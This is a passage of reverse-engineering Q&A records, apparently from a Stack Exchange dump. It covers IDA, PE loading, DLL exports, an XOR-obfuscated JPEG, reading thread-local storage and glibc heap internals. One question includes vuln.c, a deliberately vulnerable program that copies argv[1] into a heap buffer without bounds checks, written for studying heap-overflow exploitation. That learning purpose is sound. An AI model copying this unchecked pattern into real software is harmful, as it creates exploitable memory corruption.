        "Answer": "<p>This is code from the <a href=\"https://www.kernel.org/doc/Documentation/ABI/stable/vdso\">vDSO</a> which is mapped by the kernel into every process, not from the wget binary. You could probably figure it out by inspecting the <code>/proc/&lt;pid&gt;/maps</code> file.</p>\n\n<p>Here's what I have in IDA for <code>gettimeofday</code> from it:</p>\n\n<pre><code>.text:FFFFFFFFFF700D17   mov     rbx, 0FFFFFFFFFFDFF000h\n.text:FFFFFFFFFF700D1E   lsl     r11d, eax\n.text:FFFFFFFFFF700D22   xor     r15d, r15d\n.text:FFFFFFFFFF700D25   mov     r10d, r11d\n.text:FFFFFFFFFF700D28   mov     r9d, ds:0FFFFFFFFFF5FF080h\n.text:FFFFFFFFFF700D30   test    r9b, 1\n.text:FFFFFFFFFF700D34   jnz     loc_FFFFFFFFFF700FDF\n.text:FFFFFFFFFF700D3A   mov     rax, ds:0FFFFFFFFFF5FF0A8h\n.text:FFFFFFFFFF700D42   mov     r13d, ds:0FFFFFFFFFF5FF088h\n.text:FFFFFFFFFF700D4A   mov     [rdi], rax\n.text:FFFFFFFFFF700D4D   mov     edx, ds:0FFFFFFFFFF5FF088h\n.text:FFFFFFFFFF700D54   mov     r14, ds:0FFFFFFFFFF5FF0B0h\n</code></pre>\n\n<p>So it seems PIN's disassembler chose to not sign-extend addresses (which are encoded in 4 bytes in the opcodes).</p>\n"
    },
    {
        "Id": "3069",
        "CreationDate": "2013-11-21T13:39:24.443",
        "Body": "<p>I've been reversing a regularly updated application with various tools (mosty IDA, Olly) for a while now, and I always wondered how to document my findings. For example function names, static variables, relations, namespaces, fields, etc...maybe even changes trough version changes, but that's just an extra.</p>\n\n<p>The best thing I came up with is a local MediaWiki, where I create a new page/definition for every function, and stuff, but it's obviously pain in the ass, nearly impossible to maintain. There must be some industry standard right? I wonder if you guys know / use any tool like for this issue.</p>\n\n<p>Edit:\nHere is the structure I'm using now with in the Wiki :\n<img src=\"https://i.stack.imgur.com/N4UBs.png\" alt=\"MediaWiki Documentation structure\"></p>\n\n<p><strong>If you know another solution, I'm looking forward for your answer as well :)</strong></p>\n",
        "Title": "Documenting reversed application",
        "Tags": "|ida|tools|history|",
        "Answer": "<p>The way this usually works in my experience is that if you have a documentation need outside of the IDB database it's generally because you're trying to share information with other reverse engineers. For this, you may want to take a look at <a href=\"http://www.idabook.com/collabreate/\" rel=\"nofollow noreferrer\">collabREate</a> or the <a href=\"http://thunkers.net/~deft/code/toolbag/\" rel=\"nofollow noreferrer\">IDA toolbag</a>. The unfortunate truth is that a lot of these projects tend to slow down or die completely due to a lack of interest from the original authors.</p>\n\n<p>Now if your problem is completely centered around documentation, what I also find fairly common is to have header files with the function, class and structure definitions in them with <a href=\"http://www.doxygen.nl/\" rel=\"nofollow noreferrer\">doxygen-</a> or <a href=\"http://www.oracle.com/technetwork/java/javase/documentation/index-137868.html\" rel=\"nofollow noreferrer\">JavaDoc-</a>formatted comments in them. You then use doxygen to generate automatic documentation and class diagrams. This way the documentation becomes completely living, self-maintaining and easily navigated.</p>\n"
    },
    {
        "Id": "3081",
        "CreationDate": "2013-11-24T01:32:01.807",
        "Body": "<p>As the title says im a bit lost on how to get something in the data section to be recognized as a struct or an array of structs or an array of strings etc.</p>\n\n<p>Cheers</p>\n",
        "Title": "In IDA how can I define a data address as a struct and array of datatype",
        "Tags": "|ida|struct|",
        "Answer": "<p>Struct: <kbd>Alt</kbd>+<kbd>Q</kbd></p>\n\n<p>Array: Numeric keypad <kbd>*</kbd></p>\n"
    },
    {
        "Id": "3090",
        "CreationDate": "2013-11-25T21:20:26.137",
        "Body": "<p>I'ld like to know how to bulk rename functions in IDA, based on some condition.</p>\n\n<p>Example:\nRename all functions to Foo_XYZ where the function accesses a certain static variable, for example : dword_12345.</p>\n\n<p>This would help me a lot, because I know that address would be only accessed from functions that can be associated with some logic/functionality in the application.</p>\n",
        "Title": "Automatic function naming",
        "Tags": "|ida|static-analysis|memory|strings|functions|",
        "Answer": "<p>The IDAScope plugin has similar functionality to rename functions based on the Windows API functions they are calling. You can find a standalone script here that does that <a href=\"http://hooked-on-mnemonics.blogspot.fr/2012/06/automated-generic-function-naming-in.html\">http://hooked-on-mnemonics.blogspot.fr/2012/06/automated-generic-function-naming-in.html</a> it should give you an idea how to implement what you are looking for.</p>\n"
    },
    {
        "Id": "3098",
        "CreationDate": "2013-11-28T10:55:23.727",
        "Body": "<p>Can I load dSYM symbols into Hopper? (I searched extensively in the menus etc. but couldn't find such an option)</p>\n\n<p>Context: I want to see how a program I created using Xcode was compiled into machine code using Hopper to view the machine code. My program is stripped during build but I do have its symbols in a <code>.dSYM</code> package.</p>\n",
        "Title": "Load dSYM symbols in Hopper",
        "Tags": "|osx|hopper|symbols|",
        "Answer": "<p>It's possible since <a href=\"http://hopperapp.tumblr.com/post/76212665426/hopper-disassembler-v3-at-last-its-almost\" rel=\"noreferrer\">Hopper v3</a>, under <code>File &gt; Read Debug Symbols File...</code></p>\n\n<p><img src=\"https://i.stack.imgur.com/kQ2vf.png\" alt=\"screenshot\"></p>\n"
    },
    {
        "Id": "3100",
        "CreationDate": "2013-11-28T18:11:44.943",
        "Body": "<p>Few days after asking the question I realised I misinterpreted my original findings. It seems .rdata section on file is copied directly to memory, but then first 36 bytes are overwritten by loader with IAT RVA. The erroneous question about added 96 bytes is result of me not noticing that the sequence of bytes I was checking in my tests is repeated on the file. </p>\n\n<p>What I just said still might not be 100% accurate. The investigation will continue for the next few days.</p>\n\n<h2>Original Question</h2>\n\n<p>I'm trying to write a program to analyse Windows executables. I was assuming that sections in executable file are directly copied to memory. I have noticed strange behaviour in several programs. </p>\n\n<p>One example is <code>crackme12.exe</code>. When I check with debugger <code>.rdata</code> section loaded into memory, I can see that for some reason 96 bytes have been added at the beginning of a section loaded into memory that was not there in the executable file. I have spent 2 days trying to read Windows executable documentation, but I can't find explanation why is it happening.</p>\n\n<h2>Additional Info</h2>\n\n<p>I'm trying to load this file on Linux under Wine. \nDebugger I use is called OllyDbg. \nFile download link: <a href=\"http://www.reversing.be/easyfile/file.php?show=20080602192337264\" rel=\"nofollow\">http://www.reversing.be/easyfile/file.php?show=20080602192337264</a></p>\n\n<p>I'm trying to write the program in Common Lisp. This is the link to the test file: <a href=\"https://github.com/bigos/discompiler/blob/master/test/lisp-unit.lisp\" rel=\"nofollow\">https://github.com/bigos/discompiler/blob/master/test/lisp-unit.lisp</a></p>\n\n<p>I have tried to load the same crackme under Windows and got another surprise.\nScreen-shot at \n<a href=\"https://github.com/bigos/discompiler/blob/fc3d8432f10c8bd5dfd14a8b5e2b113331db15df/my-reference/images/differences%20between%20lin%20and%20win.png\" rel=\"nofollow\">https://github.com/bigos/discompiler/blob/fc3d8432f10c8bd5dfd14a8b5e2b113331db15df/my-reference/images/differences%20between%20lin%20and%20win.png</a> shows Windows and Wine side by side. </p>\n\n<p>From address x402060, highlighted in the screen-shot in red shows data copied from section on the file. On loading operating system inserted 96 bytes. To my surprise Wine loader has inserted different data. When you compare differences between Wine and Windows you will see that first two lines differ. Can somebody enlighten me what is happening?</p>\n\n<h2>Conclusion</h2>\n\n<p>It turns out that Import Table RVA and IAT RVA were placed at addresses between x402000 and x402060. So it looks like loader copies section to memory after those tables.</p>\n\n<p>I have added some code to my little program and got following output:</p>\n\n<p>RVAs: (((320 \"Import Table RVA\" 8228) (324 \"Import Table Size\" 60)\n        \"in memory from\" \"402024\" \"to\" \"402060\")\n       ((328 \"Resource Table RVA\" 16384) (332 \"Resource Table Size\" 1792)\n        \"in memory from\" \"404000\" \"to\" \"404700\")\n       ((408 \"IAT RVA\" 8192) (412 \"IAT Size\" 36) \"in memory from\" \"402000\"\n        \"to\" \"402024\"))</p>\n",
        "Title": "Loading Windows executable - unexpected data appended at beginning sections after loading in memory",
        "Tags": "|windows|static-analysis|pe|executable|",
        "Answer": "<p>This is the Import Address Table, which contains the virtual addresses for the imported functions.</p>\n\n<p>Since the DLLs have been loaded at different addresses (7bxxxxxx in one case, 76xxxxxx in the other), the Import Address Table is filled with different DWORD values.</p>\n"
    },
    {
        "Id": "3101",
        "CreationDate": "2013-11-28T18:47:04.807",
        "Body": "<p>I am a man full of contradictions, I am using Unix and, yet, I want to analyze a Microsoft Windows DLL.</p>\n\n<p>Usually, when looking for symbols in a dynamic or static library in the ELF World, one can either use <code>nm</code> or <code>readelf</code> or even <code>objdump</code>. Here is an example with <code>objdump</code>:</p>\n\n<pre><code>$ objdump -tT /usr/lib/libcdt.so\n\n/usr/lib/libcdt.so:     file format elf64-x86-64\n\nSYMBOL TABLE:\nno symbols\n\nDYNAMIC SYMBOL TABLE:\n0000000000000cc8 l    d  .init  0000000000000000              .init\n0000000000000000      DF *UND*  0000000000000000  GLIBC_2.2.5 free\n0000000000000000  w   D  *UND*  0000000000000000              _ITM_deregisterTMCloneTable\n0000000000000000      DF *UND*  0000000000000000  GLIBC_2.2.5 memcmp\n0000000000000000      DF *UND*  0000000000000000  GLIBC_2.2.5 strcmp\n0000000000000000  w   D  *UND*  0000000000000000              __gmon_start__\n0000000000000000      DF *UND*  0000000000000000  GLIBC_2.2.5 malloc\n0000000000000000      DF *UND*  0000000000000000  GLIBC_2.2.5 realloc\n0000000000000000  w   D  *UND*  0000000000000000              _Jv_RegisterClasses\n0000000000000000  w   D  *UND*  0000000000000000              _ITM_registerTMCloneTable\n0000000000000000  w   DF *UND*  0000000000000000  GLIBC_2.2.5 __cxa_finalize\n0000000000000ec0 g    DF .text  0000000000000097  Base        dtclose\n0000000000204af8 g    DO .data  0000000000000008  Base        Dtorder\n0000000000204af0 g    DO .data  0000000000000008  Base        Dttree\n... cut ...\n</code></pre>\n\n<p>So, we have all exported function name from reading this dynamic library. But, lets try it with a DLL:</p>\n\n<pre><code>$ objdump -tT SE_U20i.dll \n\nSE_U20i.dll:     file format pei-i386\n\nobjdump: SE_U20i.dll: not a dynamic object\nSYMBOL TABLE:\nno symbols\n\nDYNAMIC SYMBOL TABLE:\nno symbols\n</code></pre>\n\n<p>As you see, <code>objdump</code> fail to extract the exported symbols from the DLL (and so do <code>nm</code>). But, if I can see a few thing more if I do:</p>\n\n<pre><code>$ objdump -p SE_U20i.dll\n\nSE_U20i.dll:     file format pei-i386\n\nCharacteristics 0xa18e\n    executable\n    line numbers stripped\n    symbols stripped\n    little endian\n    32 bit words\n    DLL\n    big endian\n\n... clip ...\n\nThere is an export table in .edata at 0x658000\n\nThe Export Tables (interpreted .edata section contents)\n\nExport Flags                    0\nTime/Date stamp                 0\nMajor/Minor                     0/0\nName                            0025803c SE_U20i.dll\nOrdinal Base                    1\nNumber in:\n    Export Address Table            00000002\n    [Name Pointer/Ordinal] Table    00000002\nTable Addresses\n    Export Address Table            00258028\n    Name Pointer Table              00258030\n    Ordinal Table                   00258038\n\nExport Address Table -- Ordinal Base 1\n    [   0] +base[   1] 23467c Export RVA\n    [   1] +base[   2] 233254 Export RVA\n\n[Ordinal/Name Pointer] Table\n    [   0] DoResurrection\n    [   1] Initialize\n\n... clip ...\n</code></pre>\n\n<p>So, the <em>export table</em> seems to be what we are looking for (not sure about it). But it is drown among a lot of other information (the option <code>-p</code> display really a LOT of lines).</p>\n\n<p>So, first, is the export table what I am looking for to know what are the functions and variables that exported by the DLL ?</p>\n\n<p>Second, why did <code>objdump</code> present differently the exported symbols in the case of ELF and PE ? (I guess there is some technical differences between exported symbols in ELF and PE and that confusing both would be extremely misleading, but I would like to know in what they differ).</p>\n",
        "Title": "Looking for exported symbols in a DLL with objdump?",
        "Tags": "|disassembly|dll|objdump|",
        "Answer": "<p>The surprising part for me is <code>objdump</code> can recognize <em>anything</em> in a PE file. According to <a href=\"http://en.wikipedia.org/wiki/Portable_Executable\" rel=\"noreferrer\">Wikipedia</a>,</p>\n\n<blockquote>\n  <p>.. PE is a modified version of the Unix COFF file format. PE/COFF is an alternative term in Windows development.</p>\n</blockquote>\n\n<p>so apparently there is just enough overlap in the headers to make it work (at least partially). The basic design of one is clearly based on the other, but after that they evolved separately. Finding the exact differences at this point in time might well be a pure academical exercise.</p>\n\n<p>Yes: in a DLL, the export directory <em>is</em> what you are looking for. Here is a screen grab from <a href=\"http://www.dependencywalker.com\" rel=\"noreferrer\">Dependency Walker</a> inspecting <code>comctl32.dll</code> (using VirtualBox 'cause I'm on a Mac):</p>\n\n<p><img src=\"https://i.stack.imgur.com/5CPMn.png\" alt=\"Dependency Walker showing Exports\"></p>\n\n<p>The field \"E^\" lists the exported function names and other interesting details.</p>\n\n<p>If you are in to Python: <a href=\"http://code.google.com/p/pefile/\" rel=\"noreferrer\"><code>pefile</code></a> has been mentioned as a library that can access PE parts, but then again PE has been so long around there is no end to good descriptions of all the gory low level details of all its headers and structures. Last time I felt inspecting some Windows program, I used these descriptions to write a full set of PE import/export C routines from scratch (.. <em>again</em>, I should add -- this way I can have return it the exact data I want in exactly the required format).</p>\n\n<p>IDA Pro seems to be the utility of choice for most disassembling jobs, and last time I used that it did a good job of loading both Import and Export directories, although it didn't provide a concise list of all functions.</p>\n"
    },
    {
        "Id": "3105",
        "CreationDate": "2013-11-29T01:56:49.630",
        "Body": "<p>I have some obfuscated C# .NET code I want to analyze.</p>\n\n<p><img src=\"https://i.stack.imgur.com/SNylK.png\" alt=\"obfuscated C# code\"></p>\n\n<p>Is it possible to rename those obfuscated symbols? So I can more easily track them? Like IDA Pro can work with renaming functions and so forth.</p>\n",
        "Title": "Rename obfuscated names with .NET Reflector?",
        "Tags": "|tools|obfuscation|.net|c#|",
        "Answer": "<p>Some plugins like <a href=\"http://reflexil.net/\">reflexil</a> provide this functionality.</p>\n"
    },
    {
        "Id": "3121",
        "CreationDate": "2013-12-02T16:35:14.583",
        "Body": "<p>My question is quite straight forward: is there a possibility to tell gdbserver to follow the child when forking like</p>\n\n<pre><code>set follow-fork-mode child\n</code></pre>\n",
        "Title": "Is there something like follow-fork-mode for gdbserver?",
        "Tags": "|gdb|",
        "Answer": "<p>Unfortunately, it seems to be not supported (a bug?). See this <a href=\"https://sourceware.org/bugzilla/show_bug.cgi?id=13584\" rel=\"nofollow\">bug report</a> in <code>gdb</code> bugzilla.</p>\n\n<p>I am not aware of any recent update concerning this bug...</p>\n"
    },
    {
        "Id": "3127",
        "CreationDate": "2013-12-04T20:26:32.243",
        "Body": "<p>A few days ago, I was wondering how one could teach himself heap-based overflow exploitation.</p>\n\n<p>So I searched through documentation, subsequently practicing what I read in order to have a better insight of how the heap works under Linux.</p>\n\n<p>We are told that the malloc() / free() function works around <a href=\"http://gee.cs.oswego.edu/dl/html/malloc.html\">Doug Lea's memory allocator</a> but, in spite of the great explanation given by the link, I cannot figure things out as I debug my program.</p>\n\n<p>Given this example:</p>\n\n<pre><code>#include &lt;stdio.h&gt;\n#include &lt;stdlib.h&gt;\n#include &lt;string.h&gt;\n\nint n = 5;\n\nint main(int argc, char** argv) {\n\n        char* p;\n        char* q;\n\n        p = malloc(1024);\n        q = malloc(1024);\n\n        printf(\"real size = %d\\n\",*(((int*)p)-1) &amp; 0xFFFFFFF8);\n\n        if(argc &gt;= 2) {\n                strcpy(p, argv[1]);\n        }\n\n        free(q);\n        printf(\"n = 0x%08X\\n\", n);\n        free(p);\n\n        return EXIT_SUCCESS;\n}\n</code></pre>\n\n<p>I would like to dump this structure in memory:</p>\n\n<pre><code>struct chunk {\n        int prev_size;\n        int size;\n        struct chunk *fd;\n        struct chunk *bk;\n};\n</code></pre>\n\n<p>Here is my workflow:</p>\n\n<pre><code>geo@lilith:~/c/vuln_malloc$ gcc -o vuln vuln.c -m32 -ggdb\ngeo@lilith:~/c/vuln_malloc$ gdb ./vuln\nGNU gdb (GDB) 7.4.1-debian\nCopyright (C) 2012 Free Software Foundation, Inc.\nLicense GPLv3+: GNU GPL version 3 or later &lt;http://gnu.org/licenses/gpl.html&gt;\nThis is free software: you are free to change and redistribute it.\nThere is NO WARRANTY, to the extent permitted by law.  Type \"show copying\"\nand \"show warranty\" for details.\nThis GDB was configured as \"x86_64-linux-gnu\".\nFor bug reporting instructions, please see:\n&lt;http://www.gnu.org/software/gdb/bugs/&gt;...\nReading symbols from /home/geo/c/vuln_malloc/vuln...done.\n(gdb) b 21\nBreakpoint 1 at 0x804850f: file vuln.c, line 21.\n(gdb) r `perl -e 'print \"A\" x 1024'`\nStarting program: /home/geo/c/vuln_malloc/vuln `perl -e 'print \"A\" x 1024'`\nreal size = 1032\n\nBreakpoint 1, main (argc=2, argv=0xffffd414) at vuln.c:21\n21              free(q);\n(gdb) x/10x q-4\n0x804a40c:      0x00000409      0x00000000      0x00000000      0x00000000\n0x804a41c:      0x00000000      0x00000000      0x00000000      0x00000000\n0x804a42c:      0x00000000      0x00000000\n(gdb)\n</code></pre>\n\n<p>Here I can see the size-field's value, which is 0x409. I can easily guess that the real size of my chunk is 0x409 &amp; 0xFFFFFF8 = 0x408 = 1032, as explained by the documentation (the three least significant actually define some flags). Then I run until the free() function is processed.</p>\n\n<pre><code>(gdb) b 22\nBreakpoint 2 at 0x804851b: file vuln.c, line 22.\n(gdb) c\nContinuing.\n\nBreakpoint 2, main (argc=2, argv=0xffffd414) at vuln.c:22\n22              printf(\"n = 0x%08X\\n\", n);\n(gdb) x/10x q-4\n0x804a40c:      0x00020bf9      0x00000000      0x00000000      0x00000000\n0x804a41c:      0x00000000      0x00000000      0x00000000      0x00000000\n0x804a42c:      0x00000000      0x00000000\n</code></pre>\n\n<p>Firstly I don't understand the new value - 0x20bf9 - at all, secondly I don't understand why there isn't any relevant values as regard the fd and bk pointers either.</p>\n\n<p>All of that stuff does not make much sense for me, that's why I was wondering wether you could give me some clues about all of this or not. Does the Doug Lea's implementation still exist in recent glibc versions, or...?</p>\n",
        "Title": "Understanding the most recent heap implementation under Linux",
        "Tags": "|linux|exploit|buffer-overflow|software-security|",
        "Answer": "<p>First of all, I have bad news for you ! Doug Lea's malloc is almost no more used in any C library implementation (even if understanding <code>dlmalloc</code> can help a lot to understand new ones).</p>\n\n<p>The new implementation that is most widely used is <code>ptmalloc2</code> and the best way to learn about it is... to read the code... So, if you are using a Debian(-like) distribution, just like me, you just need to get the source code of the libc like this:</p>\n\n<pre><code>$&gt; apt-get source libc6\n</code></pre>\n\n<p>Note that the <a href=\"http://lwn.net/Articles/488778/\" rel=\"nofollow noreferrer\">glibc is no more</a> and has been subsumed by the <a href=\"http://www.eglibc.org/home\" rel=\"nofollow noreferrer\">eglibc project</a>. The Debian distribution switched to eglibc some time ago (see <a href=\"http://blog.aurel32.net/47\" rel=\"nofollow noreferrer\">here</a> and <a href=\"http://lwn.net/Articles/332000/\" rel=\"nofollow noreferrer\">there</a> and even on the <a href=\"http://packages.qa.debian.org/g/glibc.html\" rel=\"nofollow noreferrer\">glibc source package page</a>). So, the implementation of <code>malloc</code> has changed considerably (and some security safeties have been added since <code>dlmalloc</code>).</p>\n\n<p>But, let see what does look like the <code>malloc</code> implementation:</p>\n\n<pre><code>$&gt; cd eglibc-2.17/malloc/\n$&gt; less malloc.c\n\n...\n/*\n This is a version (aka ptmalloc2) of malloc/free/realloc written by\n Doug Lea and adapted to multiple threads/arenas by Wolfram Gloger.\n\n There have been substantial changesmade after the integration into\n glibc in all parts of the code.  Do not look for much commonality\n with the ptmalloc2 version.\n...\n</code></pre>\n\n<p>As I said, the algorithm used here is <code>ptmalloc2</code> (POSIX Threads Malloc), but with significant modifications. So, you'd better read the code to know better about it.</p>\n\n<p>But, to sum up a bit, the heap memory is managed through memory chunks which are prefixed by meta-data gathering these information (I am just quoting comments that are in the <code>malloc.c</code> source file, refer to the whole file for more):</p>\n\n<pre><code>/*\n   malloc_chunk details:\n\n    (The following includes lightly edited explanations by Colin Plumb.)\n\n    Chunks of memory are maintained using a `boundary tag' method as\n    described in e.g., Knuth or Standish.  (See the paper by Paul\n    Wilson ftp://ftp.cs.utexas.edu/pub/garbage/allocsrv.ps for a\n    survey of such techniques.)  Sizes of free chunks are stored both\n    in the front of each chunk and at the end.  This makes\n    consolidating fragmented chunks into bigger chunks very fast. The\n    size fields also hold bits representing whether chunks are free or\n    in use.\n\n    An allocated chunk looks like this:\n\n\n    chunk-&gt; +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n            |             Size of previous chunk, if allocated            | |\n            +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n            |             Size of chunk, in bytes                       |M|P|\n      mem-&gt; +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n            |             User data starts here...                          .\n            .                                                               .\n            .             (malloc_usable_size() bytes)                      .\n            .                                                               |\nnextchunk-&gt; +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n            |             Size of chunk                                     |\n            +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n\n\n    Where \"chunk\" is the front of the chunk for the purpose of most of\n    the malloc code, but \"mem\" is the pointer that is returned to the\n    user.  \"Nextchunk\" is the beginning of the next contiguous chunk.\n\n    Chunks always begin on even word boundries, so the mem portion\n    (which is returned to the user) is also on an even word boundary, and\n    thus at least double-word aligned.\n\n    Free chunks are stored in circular doubly-linked lists, and look like this:\n\n    chunk-&gt; +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n            |             Size of previous chunk                            |\n            +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n    `head:' |             Size of chunk, in bytes                         |P|\n      mem-&gt; +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n            |             Forward pointer to next chunk in list             |\n            +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n            |             Back pointer to previous chunk in list            |\n            +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n            |             Unused space (may be 0 bytes long)                .\n            .                                                               .\n            .                                                               |\nnextchunk-&gt; +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n    `foot:' |             Size of chunk, in bytes                           |\n            +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n\n    The P (PREV_INUSE) bit, stored in the unused low-order bit of the\n    chunk size (which is always a multiple of two words), is an in-use\n    bit for the *previous* chunk.  If that bit is *clear*, then the\n    word before the current chunk size contains the previous chunk\n    size, and can be used to find the front of the previous chunk.\n    The very first chunk allocated always has this bit set,\n    preventing access to non-existent (or non-owned) memory. If\n    prev_inuse is set for any given chunk, then you CANNOT determine\n    the size of the previous chunk, and might even get a memory\n    addressing fault when trying to do so.\n\n    Note that the `foot' of the current chunk is actually represented\n    as the prev_size of the NEXT chunk. This makes it easier to\n    deal with alignments etc but can be very confusing when trying\n    to extend or adapt this code.\n\n    The two exceptions to all this are\n\n     1. The special chunk `top' doesn't bother using the\n        trailing size field since there is no next contiguous chunk\n        that would have to index off it. After initialization, `top'\n        is forced to always exist.  If it would become less than\n        MINSIZE bytes long, it is replenished.\n\n     2. Chunks allocated via mmap, which have the second-lowest-order\n        bit M (IS_MMAPPED) set in their size fields.  Because they are\n        allocated one-by-one, each must contain its own trailing size field.\n*/\n</code></pre>\n\n<p>You can also refer to '<a href=\"https://csg.utdallas.edu/wp-content/uploads/2012/08/Heap-Based-Exploitation.pdf\" rel=\"nofollow noreferrer\"><em>Heap-Based Exploitation</em></a>' which is a talk from Scott Hand about heap management and overflow exploitation.</p>\n\n<p>Still, you have a lot of work to do to understand everything, I would have like to have more time to explain. But, I hope it helped you a bit to find ways to go deeper (downloading the source is really the key here).</p>\n"
    },
    {
        "Id": "3128",
        "CreationDate": "2013-12-05T05:46:41.430",
        "Body": "<p>This might be a bit of a narrow question but I think it is interesting. HP Photo Creations has made a thumbnail file that seems to contain an obfuscated JPEG inside it. I'm not sure why they would bother to obfuscate it but each byte seems to be modified based off its offset:</p>\n\n<pre><code>Offset(h) 00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F\n\n00000000  FF D9 FD E3 04 15 4C 41 41 4F 0A 0A 0D 0D 0E 0E  \u00ff\u00d9\u00fd\u00e3..LAAO......\n00000010  10 10 12 13 EB F4 16 23 5D 61 73 7D 1C 1D 53 52  ....\u00eb\u00f4.#]as}..SR\n00000020  20 0B 22 23 24 2D 26 26 AF 40 2A 2F 2C 2D 2E 2E   .\"#$-&amp;&amp;\u00af@*/,-..\n00000030  30 31 32 29 34 35 36 37 38 38 9E 3A 3C 3E 3E 3F  012)456788\u017e:&lt;&gt;&gt;?\n00000040  40 40 42 42 44 45 46 47 48 49 B5 A8 4C 77 03 2A  @@BBDEFGHI\u00b5\u00a8Lw.*\n00000050  24 30 52 53 19 18 56 7D 58 59 5A 53 5C 5E 9D 3A  $0RS..V}XYZS\\^.:\n</code></pre>\n\n<p>Where I would expect the first line to be something closer to:</p>\n\n<pre><code>00000000  FF D8 FF E0 00 10 4A 46 49 46 00 01 01 00 00 01  \u00ff\u00d8\u00ff\u00e0..JFIF......\n</code></pre>\n\n<p>Any ideas on what is going on here?</p>\n\n<p>Thanks in advance!</p>\n",
        "Title": "Obfuscated JPEG",
        "Tags": "|file-format|",
        "Answer": "<p>I thought about this after work and realised that it was just going to be the data XOR-ed with the low bits off the offset. Based off that I got out a valid JPEG:</p>\n\n<pre><code>Offset(h) 00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F\n\n00000000  FF D8 FF E0 00 10 4A 46 49 46 00 01 01 00 00 01  \u00ff\u00d8\u00ff\u00e0..JFIF......\n00000010  00 01 00 00 FF E1 00 34 45 78 69 66 00 00 4D 4D  ....\u00ff\u00e1.4Exif..MM\n00000020  00 2A 00 00 00 08 00 01 87 69 00 04 00 00 00 01  .*......\u2021i......\n00000030  00 00 00 1A 00 00 00 00 00 01 A4 01 00 03 00 00  ..........\u00a4.....\n00000040  00 01 00 01 00 00 00 00 00 00 FF E3 00 3A 4D 65  ..........\u00ff\u00e3.:Me\n00000050  74 61 00 00 4D 4D 00 2A 00 00 00 08 00 03 C3 65  ta..MM.*......\u00c3e\n</code></pre>\n"
    },
    {
        "Id": "3137",
        "CreationDate": "2013-12-06T23:57:32.587",
        "Body": "<p>In <code>w3wp.exe</code>, <code>STRU</code> namespace is used. Where is the <code>STRU</code> namespace documented? With functions like <code>STRU::QuerySizeCCH()</code>, <code>STRU::Resize()</code>?</p>\n",
        "Title": "'STRU' namespace in the Windows Internals API?",
        "Tags": "|windows|",
        "Answer": "<p>Those functions are exported by IISUTIL.DLL. That is not a core Windows library, and thus wouldn't be documented in any \"Windows Internals\" references.</p>\n"
    },
    {
        "Id": "3139",
        "CreationDate": "2013-12-07T00:14:12.523",
        "Body": "<p>The Thread Local Storage (TLS) contains static or global values for a thread. Those values can be very important to find reliable references to memory structures when the memory locations are not static.</p>\n\n<p>I would like to get the Thread Local Storage of another process.</p>\n\n<p>The TLS should be at <a href=\"http://en.wikipedia.org/wiki/Win32_Thread_Information_Block\">[FS:0x2C] in the Thread Information Block (TIB)</a>. Though I quite don't understand how the FS register works. I guess I have to find the TIB Base address first? I think I can find it in the Thread Context I can get with <a href=\"http://msdn.microsoft.com/en-us/library/windows/desktop/ms679362%28v=vs.85%29.aspx\">WINAPI GetThreadContext</a>, but I am a little bit overwhelmed.</p>\n",
        "Title": "How can I find the Thread Local Storage (TLS) of a Windows Process Thread?",
        "Tags": "|windows|winapi|thread|",
        "Answer": "<p>You need to use <a href=\"http://msdn.microsoft.com/en-us/library/windows/desktop/ms679363%28v=vs.85%29.aspx\"><code>GetThreadSelectorEntry()</code></a>.</p>\n\n<p>Pseudocode:</p>\n\n<pre><code>GetThreadContext(hThread, &amp;context);\nGetThreadSelectorEntry(hThread, context.SegFs, &amp;selectorEntry);\nReadProcessMemory(hProcess, (selectorEntry.BaseLow | (selectorEntry.HighWord.Bytes.BaseMid &lt;&lt; 0x10) | (selectorEntry.HighWord.Bytes.BaseHi &lt;&lt; 0x18)) + 0x2C, &amp;pTLS, sizeof(pTLS), &amp;numberOfBytesRead);\n</code></pre>\n\n<p>You can see the function <code>GetProcessEntryPointAddress()</code> <a href=\"http://nerdworks.in/downloads/myselfdel.c\">here</a> for some sample code that does something similar.</p>\n"
    },
    {
        "Id": "3148",
        "CreationDate": "2013-12-08T17:38:57.913",
        "Body": "<p>I read that question here (<a href=\"https://reverseengineering.stackexchange.com/questions/2098/how-do-you-set-registers-as-structs-within-a-function-in-ida\">How do you set registers as structs within a function in IDA?</a>) but this applies only to individual lines.</p>\n\n<p>Is it possible to set a register as a basepointer for a scope so that all usages of this register will be using the structure you assigned it to?</p>\n\n<pre><code>mov     eax, [ebx+C]\nxor     [ebx+1C], eax\nmov     eax, [ebx+24]\nxor     [ebx+68], eax\nmov     eax, [ebx+C]\nxor     [ebx+30], eax\nmov     eax, [ebx+24]\nxor     [ebx+48], eax\n...\n</code></pre>\n\n<p>Or do you have to apply <code>T</code> on each occurence individually?</p>\n",
        "Title": "IDA: setting a register as a basepointer to struct",
        "Tags": "|ida|struct|",
